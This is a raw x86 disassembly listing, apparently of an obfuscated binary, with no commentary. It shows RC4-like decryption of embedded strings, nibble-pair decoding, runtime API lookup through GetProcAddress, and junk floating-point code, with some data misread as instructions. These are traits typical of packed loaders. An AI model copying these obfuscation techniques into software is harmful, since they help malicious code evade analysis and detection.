mulsd xmm0, qword [ebp - 0x4eec]
movsd qword [ebp - 0x4b10], xmm0
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movsd xmm0, qword [ebp - 0x44a4]
addsd xmm0, qword [ebp - 0x5188]
movsd qword [ebp - 0x44a4], xmm0
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
mov cl, byte [ebp - 0x362c]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x362c]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3633]
add edx, ecx
mov byte [ebp - 0x3633], dl
movzx eax, byte [ebp - 0x3635]
movzx ecx, byte [ebp - 0x358e]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x358f]
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3633]
shl ecx, 0
lea esi, [ebp - 0xe9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x358f], al
mov al, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], al
mov cl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], cl
cmp dword [ebp - 0x36cc], 0
jbe 0x48665f
mov edx, dword [ebp - 0x36cc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x2dc]
mov cl, byte [ebp - 0x36fb]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x36cc]
add edx, 1
mov dword [ebp - 0x36cc], edx
mov eax, dword [ebp - 0x38e0]
add eax, 1
mov dword [ebp - 0x38e0], eax
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
mov dword [ebp - 0x3d6c], ecx
mov edx, dword [ebp - 0x3d6c]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c24], eax
mov dword [ebp - 0x3c28], 0xe6
mov ecx, dword [ebp - 0x36cc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d68], ecx
mov edx, dword [ebp - 0x3d68]
shl edx, 0
add edx, dword [ebp - 0x3e04]
movzx eax, byte [edx]
mov dword [ebp - 0x3c2c], eax
mov dword [ebp - 0x3c30], 0x59
mov ecx, dword [ebp - 0x3c24]
sub ecx, dword [ebp - 0x3c28]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c2c]
sub edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c38], edx
mov eax, dword [ebp - 0x3c34]
shl eax, 4
mov dword [ebp - 0x3d64], eax
mov ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3d60], ecx
mov edx, dword [ebp - 0x3d64]
or edx, dword [ebp - 0x3d60]
mov dword [ebp - 0x3d5c], edx
mov al, byte [ebp - 0x3d5c]
mov byte [ebp - 0x3635], al
movzx ecx, byte [ebp - 0x35bf]
shl ecx, 0
lea edx, [ebp - 0xe9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x362c], al
movzx ecx, byte [ebp - 0x3573]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x358e]
add ecx, eax
mov byte [ebp - 0x358e], cl
mov dl, byte [ebp - 0x3573]
add dl, 1
mov byte [ebp - 0x3573], dl
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [ebp - 0x358e]
shl eax, 0
lea esi, [ebp - 0xe9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3573]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx ecx, byte [ebp - 0x358f]
shl ecx, 0
lea esi, [ebp - 0xe9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea ecx, [ebp - 0xe9c]
mov dl, byte [ebp - 0x362c]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x362c]
shl eax, 0
lea ecx, [ebp - 0xe9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3633]
add eax, edx
mov byte [ebp - 0x3633], al
movzx ecx, byte [ebp - 0x3635]
movzx edx, byte [ebp - 0x358e]
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3573]
shl eax, 0
lea esi, [ebp - 0xe9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xe9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x358f]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35bf]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3633]
shl edx, 0
lea esi, [ebp - 0xe9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xe9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x358f], cl
mov cl, byte [ebp - 0x3635]
mov byte [ebp - 0x35bf], cl
mov dl, byte [ebp - 0x358f]
mov byte [ebp - 0x36fb], dl
cmp dword [ebp - 0x36cc], 0
jbe 0x48691f
mov eax, dword [ebp - 0x36cc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x2dc]
mov dl, byte [ebp - 0x36fb]
mov byte [eax + ecx], dl
mov eax, 1
imul ecx, eax, 0xd
mov dword [ebp - 0x5f48], ecx
cmp dword [ebp - 0x5f48], 0xe
jae 0x486938
jmp 0x48693d
call fcn.009b6d77
lea edx, [ebp - 0x2dc]
add edx, dword [ebp - 0x5f48]
mov byte [edx], 0
jmp 0x48699f
mov dword [ebp - 0x36cc], 0
jmp 0x486969
mov eax, dword [ebp - 0x36cc]
add eax, 1
mov dword [ebp - 0x36cc], eax
cmp dword [ebp - 0x36cc], 0xe
jae 0x48699f
mov ecx, dword [ebp - 0x36cc]
mov dword [ebp - 0x5f44], ecx
cmp dword [ebp - 0x5f44], 0xe
jae 0x486989
jmp 0x48698e
call fcn.009b6d77
lea edx, [ebp - 0x2dc]
add edx, dword [ebp - 0x5f44]
mov byte [edx], 0
jmp 0x48695a
lea eax, [ebp - 0x2dc]
push eax
mov ecx, dword [ebp - 0x37e4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06850], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x56f8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5370], xmm0
mov dword [ebp - 0x3798], 0
mov dword [ebp - 0x4e2c], 0
mov dword [ebp - 0x58e8], 0
mov dword [ebp - 0x541c], 1
mov dword [ebp - 0x48b0], 0
mov dword [ebp - 0x5c04], 0
mov dword [ebp - 0x3d54], 0
mov dword [ebp - 0x447c], 0
mov dword [ebp - 0x4358], 0
mov dword [ebp - 0x435c], 0
mov dword [ebp - 0x4480], 0
mov dword [ebp - 0x4380], 0
mov dword [ebp - 0x4384], 0
mov dword [ebp - 0x4388], 0
mov dword [ebp - 0x438c], 0
mov dword [ebp - 0x4484], 0
mov dword [ebp - 0x4494], 0
mov dword [ebp - 0x448c], 0
mov dword [ebp - 0x4e30], 0
mov byte [ebp - 0x35c0], 0
mov byte [ebp - 0x360a], 0
mov byte [ebp - 0x36ed], 0
mov byte [ebp - 0x3609], 0
mov byte [ebp - 0x3645], 0
mov byte [ebp - 0x3774], 0
mov byte [ebp - 0x41a0], 0
mov byte [ebp - 0x36ef], 0
mov byte [ebp - 0x36e2], 0
mov byte [ebp - 0x37d5], 0
movss xmm0, dword [0x9db72c]
movss dword [ebp - 0x4434], xmm0
movss xmm0, dword [0x9db5f4]
movss dword [ebp - 0x58e4], xmm0
movss xmm0, dword [0x9db4dc]
movss dword [ebp - 0x50f4], xmm0
movss xmm0, dword [0x9db398]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x50f4]
mulss xmm0, dword [ebp - 0x41bc]
movss dword [ebp - 0x50f4], xmm0
movss xmm0, dword [ebp - 0x4434]
subss xmm0, dword [ebp - 0x41bc]
movss dword [ebp - 0x4434], xmm0
movss xmm0, dword [ebp - 0x4434]
addss xmm0, dword [ebp - 0x41bc]
movss dword [ebp - 0x4434], xmm0
movss xmm0, dword [ebp - 0x50f4]
addss xmm0, dword [ebp - 0x41bc]
movss dword [ebp - 0x50f4], xmm0
movss xmm0, dword [ebp - 0x50f4]
comiss xmm0, dword [ebp - 0x41bc]
jbe 0x486bf0
movss xmm0, dword [ebp - 0x4434]
addss xmm0, dword [ebp - 0x58e4]
movss dword [ebp - 0x4434], xmm0
movss xmm0, dword [ebp - 0x41bc]
addss xmm0, dword [ebp - 0x4434]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x41bc]
mulss xmm0, dword [ebp - 0x4434]
movss dword [ebp - 0x41bc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x56f8], xmm0
movss xmm0, dword [ebp - 0x41bc]
addss xmm0, dword [ebp - 0x4434]
movss dword [ebp - 0x41bc], xmm0
jmp 0x486c50
movss xmm0, dword [ebp - 0x4434]
addss xmm0, dword [ebp - 0x58e4]
movss dword [ebp - 0x4434], xmm0
movss xmm0, dword [ebp - 0x41bc]
mulss xmm0, dword [ebp - 0x4434]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x41bc]
subss xmm0, dword [ebp - 0x4434]
movss dword [ebp - 0x41bc], xmm0
movss xmm0, dword [ebp - 0x58e4]
divss xmm0, dword [ebp - 0x50f4]
movss dword [ebp - 0x58e4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5370], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5370], xmm0
jmp 0x486c80
movsd xmm0, qword [ebp - 0x5370]
addsd xmm0, qword [0x9d9060]
movsd qword [ebp - 0x5370], xmm0
movsd xmm0, qword [0x9db2c0]
comisd xmm0, xmmword [ebp - 0x5370]
jbe 0x486d31
movsd xmm0, qword [0x9da2d0]
mulsd xmm0, qword [ebp - 0x5370]
mulsd xmm0, qword [ebp - 0x5370]
movsd xmm1, qword [ebp - 0x5370]
mulsd xmm1, qword [ebp - 0x5370]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9e48]
mulsd xmm1, qword [ebp - 0x5370]
mulsd xmm1, qword [ebp - 0x5370]
addsd xmm1, qword [0x9d65b8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x56f8]
movsd qword [ebp - 0x56f8], xmm0
movsd xmm0, qword [ebp - 0x56f8]
comisd xmm0, xmmword [0x9da150]
jbe 0x486d2c
movsd xmm0, qword [0x9d9d40]
mulsd xmm0, qword [ebp - 0x5370]
movsd xmm1, qword [ebp - 0x56f8]
subsd xmm1, xmm0
movsd qword [ebp - 0x56f8], xmm1
jmp 0x486c68
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x56f8]
jbe 0x486d87
outsb dx, byte [esi]
dec eax
dec edi
popal
dec ebp
dec ebp
insb byte es:[edi], dx
dec esi
insb byte es:[edi], dx
dec edi
arpl word [esi + 0x61], ax
inc esp
insd dword es:[edi], dx
push ebx
pushal
dec ecx
pushal
dec edx
push 0x6847684e
dec ecx
insd dword es:[edi], dx
push eax
popal
dec eax
push 0x48
dec ebx
popal
dec ebp
pop edi
dec eax
arpl word [ebp + 0x65], ax
dec esi
popal
dec esi
pushal
dec edi
imul eax, dword [esi + 0x25], 0x294c3f40
dec ebx
pop ecx
and eax, dword [esi + 0x4e]
inc edx
push esp
cmp byte [edi + 0x60], al
das
jge 0x486daf
jmp 0x48888b
mov dword [ebp - 0x6248], 0x486d3e
mov dword [ebp - 0x624c], 0x486d70
mov edx, dword [ebp - 0x6248]
mov dword [ebp - 0x45dc], edx
mov eax, dword [ebp - 0x624c]
mov dword [ebp - 0x6250], eax
mov byte [ebp - 0x41a0], 0x16
mov dword [ebp - 0x3798], 0
mov dword [ebp - 0x4e2c], 0
mov dword [ebp - 0x3798], 0
jmp 0x486de9
mov al, 0x9d
invalid
mov ecx, dword [ebp - 0x3798]
add ecx, 1
mov dword [ebp - 0x3798], ecx
cmp dword [ebp - 0x3798], 0x100
jae 0x486e0f
mov edx, dword [ebp - 0x3798]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [ebp - 0x3798]
mov byte [edx + eax], cl
jmp 0x486dda
mov dword [ebp - 0x4e2c], 0
mov byte [ebp - 0x3774], 0
mov dword [ebp - 0x3798], 0xff
test dword [eax - 0x38], ebp
invalid
invalid
inc dword [eax]
add byte [eax], al
jmp 0x486e3b
mov edx, dword [ebp - 0x3798]
sub edx, 1
mov dword [ebp - 0x3798], edx
cmp dword [ebp - 0x3798], 0
jbe 0x487101
mov dword [ebp - 0x58e8], 0
mov dword [ebp - 0x541c], 1
mov dword [ebp - 0x48b0], 0
mov eax, dword [ebp - 0x541c]
cmp eax, dword [ebp - 0x3798]
jae 0x486e87
mov ecx, dword [ebp - 0x541c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x541c], ecx
jmp 0x486e66
mov edx, dword [ebp - 0x4e2c]
mov dword [ebp - 0x5f40], edx
cmp dword [ebp - 0x5f40], 3
ja case.default.0x486ea6
mov eax, dword [ebp - 0x5f40]
jmp dword [eax*4 + 0x4f076c]
movzx ecx, byte [ebp - 0x3774]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56f8]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3774], bl
jmp 0x486fad
movzx eax, byte [ebp - 0x3774]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56f8]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3774], bl
jmp 0x486fad
movzx edx, byte [ebp - 0x3774]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56f8]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3774], bl
jmp 0x486fad
movzx ecx, byte [ebp - 0x3774]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56f8]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3774], bl
jmp 0x486fad
movzx eax, byte [ebp - 0x3774]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4e2c]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x6250]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3774], dl
mov edx, dword [ebp - 0x4e2c]
add edx, 1
mov dword [ebp - 0x4e2c], edx
movzx eax, byte [ebp - 0x41a0]
cmp dword [ebp - 0x4e2c], eax
jb 0x486feb
mov dword [ebp - 0x4e2c], 0
movzx ecx, byte [ebp - 0x41a0]
movzx edx, byte [ebp - 0x3774]
add edx, ecx
mov byte [ebp - 0x3774], dl
movzx eax, byte [ebp - 0x3774]
and eax, dword [ebp - 0x541c]
mov dword [ebp - 0x48b0], eax
mov ecx, dword [ebp - 0x58e8]
add ecx, 1
mov dword [ebp - 0x58e8], ecx
cmp dword [ebp - 0x58e8], 0xb
jbe 0x48702a
mov eax, dword [ebp - 0x48b0]
xor edx, edx
div dword [ebp - 0x3798]
mov dword [ebp - 0x48b0], edx
mov edx, dword [ebp - 0x48b0]
cmp edx, dword [ebp - 0x3798]
ja 0x486e87
mov eax, dword [ebp - 0x3798]
cmp eax, dword [ebp - 0x48b0]
je 0x4870fc
mov ecx, dword [ebp - 0x3798]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov eax, dword [ebp - 0x48b0]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x3798]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x48b0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov eax, dword [ebp - 0x3798]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x48b0]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x3798]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov eax, dword [ebp - 0x48b0]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x3798]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov byte [edx + eax], cl
jmp 0x486e2c
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x35c0], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0x2da8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x360a], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0x2da8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x36ed], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0x2da8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3609], al
movzx ecx, byte [ebp - 0x3774]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3645], al
mov dword [ebp - 0x5c04], 0x32
cmp dword [ebp - 0x5c04], 2
jle 0x48883a
mov ecx, dword [ebp - 0x5c04]
and ecx, 1
jne 0x48883a
mov dword [ebp - 0x3798], 0
mov dword [ebp - 0x3d54], 0
mov edx, dword [ebp - 0x3d54]
add edx, 1
mov dword [ebp - 0x3d54], edx
mov dword [ebp - 0x447c], 0
mov eax, dword [ebp - 0x3798]
shl eax, 1
mov dword [ebp - 0x447c], eax
mov dword [ebp - 0x4358], 0
mov ecx, dword [ebp - 0x447c]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x4358]
mov dword [ebp - 0x4358], edx
mov dword [ebp - 0x435c], 0
mov eax, dword [ebp - 0x435c]
add eax, 0x5f
mov dword [ebp - 0x435c], eax
mov dword [ebp - 0x4480], 0
mov ecx, dword [ebp - 0x3798]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x4480], ecx
mov dword [ebp - 0x4380], 0
mov edx, dword [ebp - 0x4480]
shl edx, 0
add edx, dword [ebp - 0x45dc]
movzx eax, byte [edx]
add eax, dword [ebp - 0x4380]
mov dword [ebp - 0x4380], eax
mov dword [ebp - 0x4384], 0
mov ecx, dword [ebp - 0x4384]
add ecx, 0x44
mov dword [ebp - 0x4384], ecx
mov dword [ebp - 0x4388], 0
mov edx, dword [ebp - 0x4358]
sub edx, dword [ebp - 0x435c]
add edx, dword [ebp - 0x4388]
mov dword [ebp - 0x4388], edx
mov dword [ebp - 0x438c], 0
mov eax, dword [ebp - 0x4380]
sub eax, dword [ebp - 0x4384]
add eax, dword [ebp - 0x438c]
mov dword [ebp - 0x438c], eax
mov dword [ebp - 0x4484], 0
mov ecx, dword [ebp - 0x4388]
shl ecx, 4
mov dword [ebp - 0x4484], ecx
mov dword [ebp - 0x4494], 0
mov edx, dword [ebp - 0x438c]
mov dword [ebp - 0x4494], edx
mov dword [ebp - 0x448c], 0
mov eax, dword [ebp - 0x4484]
or eax, dword [ebp - 0x4494]
mov dword [ebp - 0x448c], eax
mov byte [ebp - 0x36ef], 0
mov cl, byte [ebp - 0x448c]
mov byte [ebp - 0x36ef], cl
mov byte [ebp - 0x36e2], 0
movzx edx, byte [ebp - 0x3645]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x36e2], cl
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x360a]
add edx, ecx
mov byte [ebp - 0x360a], dl
mov al, byte [ebp - 0x35c0]
add al, 1
mov byte [ebp - 0x35c0], al
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea esi, [ebp - 0x2da8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea esi, [ebp - 0x2da8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c0]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea esi, [ebp - 0x2da8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov al, byte [ebp - 0x36e2]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x36e2]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x36ed]
add ecx, eax
mov byte [ebp - 0x36ed], cl
movzx edx, byte [ebp - 0x36ef]
movzx eax, byte [ebp - 0x360a]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3609]
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x36ed]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3609], dl
mov dl, byte [ebp - 0x36ef]
mov byte [ebp - 0x3645], dl
movss xmm0, dword [0x9db80c]
movss dword [ebp - 0x48b8], xmm0
movss xmm0, dword [0x9db6c8]
movss dword [ebp - 0x4ae4], xmm0
movss xmm0, dword [0x9db560]
movss dword [ebp - 0x4ae0], xmm0
movss xmm0, dword [0x9db3e4]
movss dword [ebp - 0x48b4], xmm0
movss xmm0, dword [ebp - 0x48b8]
addss xmm0, dword [ebp - 0x48b4]
movss dword [ebp - 0x48b8], xmm0
movss xmm0, dword [ebp - 0x4ae4]
subss xmm0, dword [ebp - 0x48b4]
movss dword [ebp - 0x4ae4], xmm0
movss xmm0, dword [ebp - 0x4ae0]
mulss xmm0, dword [ebp - 0x48b4]
movss dword [ebp - 0x4ae0], xmm0
movss xmm0, dword [ebp - 0x4ae4]
mulss xmm0, dword [ebp - 0x48b4]
movss dword [ebp - 0x4ae4], xmm0
movss xmm0, dword [ebp - 0x4ae4]
comiss xmm0, dword [ebp - 0x48b4]
jbe 0x4875ed
movss xmm0, dword [ebp - 0x48b4]
mulss xmm0, dword [ebp - 0x4ae4]
movss dword [ebp - 0x48b4], xmm0
mov al, byte [ebp - 0x3609]
mov byte [ebp - 0x37d5], al
movss xmm0, dword [ebp - 0x4ae4]
mulss xmm0, dword [ebp - 0x48b4]
movss dword [ebp - 0x4ae4], xmm0
movss xmm0, dword [ebp - 0x48b8]
addss xmm0, dword [ebp - 0x4ae0]
movss dword [ebp - 0x48b8], xmm0
movss xmm0, dword [ebp - 0x48b8]
mulss xmm0, dword [ebp - 0x4ae0]
movss dword [ebp - 0x48b8], xmm0
jmp 0x48764d
movss xmm0, dword [ebp - 0x4ae0]
mulss xmm0, dword [ebp - 0x48b8]
movss dword [ebp - 0x4ae0], xmm0
movss xmm0, dword [ebp - 0x48b8]
subss xmm0, dword [ebp - 0x4ae0]
movss dword [ebp - 0x48b8], xmm0
movss xmm0, dword [ebp - 0x48b4]
addss xmm0, dword [ebp - 0x4ae4]
movss dword [ebp - 0x48b4], xmm0
movss xmm0, dword [ebp - 0x4ae0]
addss xmm0, dword [ebp - 0x48b8]
movss dword [ebp - 0x4ae0], xmm0
cmp dword [ebp - 0x3798], 0
jbe 0x487671
mov ecx, dword [ebp - 0x3798]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3128]
mov al, byte [ebp - 0x37d5]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3d54]
add ecx, 0xa
mov dword [ebp - 0x3d54], ecx
mov edx, dword [ebp - 0x3798]
add edx, 1
mov dword [ebp - 0x4e30], edx
jmp 0x4876a0
mov eax, dword [ebp - 0x4e30]
add eax, 1
mov dword [ebp - 0x4e30], eax
mov ecx, dword [ebp - 0x4e30]
cmp ecx, dword [ebp - 0x3d54]
jge 0x487969
mov edx, dword [ebp - 0x3798]
add edx, 1
mov dword [ebp - 0x3798], edx
mov eax, dword [ebp - 0x3798]
shl eax, 1
mov dword [ebp - 0x447c], eax
mov ecx, dword [ebp - 0x447c]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x4358], edx
mov dword [ebp - 0x435c], 0x5f
mov eax, dword [ebp - 0x3798]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4480], eax
mov ecx, dword [ebp - 0x4480]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x4380], edx
mov dword [ebp - 0x4384], 0x44
mov eax, dword [ebp - 0x4358]
sub eax, dword [ebp - 0x435c]
mov dword [ebp - 0x4388], eax
mov ecx, dword [ebp - 0x4380]
sub ecx, dword [ebp - 0x4384]
mov dword [ebp - 0x438c], ecx
mov edx, dword [ebp - 0x4388]
shl edx, 4
mov dword [ebp - 0x4484], edx
mov eax, dword [ebp - 0x438c]
mov dword [ebp - 0x4494], eax
mov ecx, dword [ebp - 0x4484]
or ecx, dword [ebp - 0x4494]
mov dword [ebp - 0x448c], ecx
mov dl, byte [ebp - 0x448c]
mov byte [ebp - 0x36ef], dl
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea ecx, [ebp - 0x2da8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x36e2], dl
movzx eax, byte [ebp - 0x35c0]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x360a]
add eax, edx
mov byte [ebp - 0x360a], al
mov cl, byte [ebp - 0x35c0]
add cl, 1
mov byte [ebp - 0x35c0], cl
movzx edx, byte [ebp - 0x360a]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ebp - 0x3645]
shl ecx, 0
lea esi, [ebp - 0x2da8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3609]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [ebp - 0x360a]
shl edx, 0
lea esi, [ebp - 0x2da8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ebp - 0x3609]
shl eax, 0
lea esi, [ebp - 0x2da8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [ebp - 0x36e2]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x36e2]
shl edx, 0
